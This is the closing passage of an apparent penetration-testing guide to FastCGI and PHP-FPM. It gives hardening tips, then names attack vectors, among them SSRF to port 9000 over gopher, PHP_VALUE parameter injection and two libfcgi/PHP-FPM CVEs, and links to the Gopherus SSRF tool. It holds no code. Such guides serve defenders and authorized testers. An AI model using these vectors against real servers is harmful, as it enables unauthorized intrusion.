5. **Restrict PHP settings** - Disable dangerous functions
6. **Monitor FastCGI connections** - Alert on external access
7. **Keep software updated** - Patch libfcgi and PHP-FPM
8. **Use strong Nginx config** - Include try\_files directive
9. **Regular security audits** - Check binding and config
10. **Defense in depth** - Firewall + config + monitoring

**Attack Vectors:**

* Direct FastCGI access (if exposed)
* SSRF to localhost:9000 (gopher protocol)
* Nginx misconfiguration (path traversal)
* Parameter injection (PHP\_VALUE abuse)
* Integer overflow (CVE-2024 libfcgi)
* Log manipulation (CVE-2024-9026)

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [FastCGI Specification](https://fastcgi-archives.github.io/FastCGI_Specification.html)
* [PHP-FPM Documentation](https://www.php.net/manual/en/install.fpm.php)
* [Nginx FastCGI Guide](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html)
* [HackTricks FastCGI](https://book.hacktricks.wiki/en/network-services-pentesting/9000-pentesting-fastcgi.html)
* [Gopherus - SSRF Tool](https://github.com/tarunkant/Gopherus)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
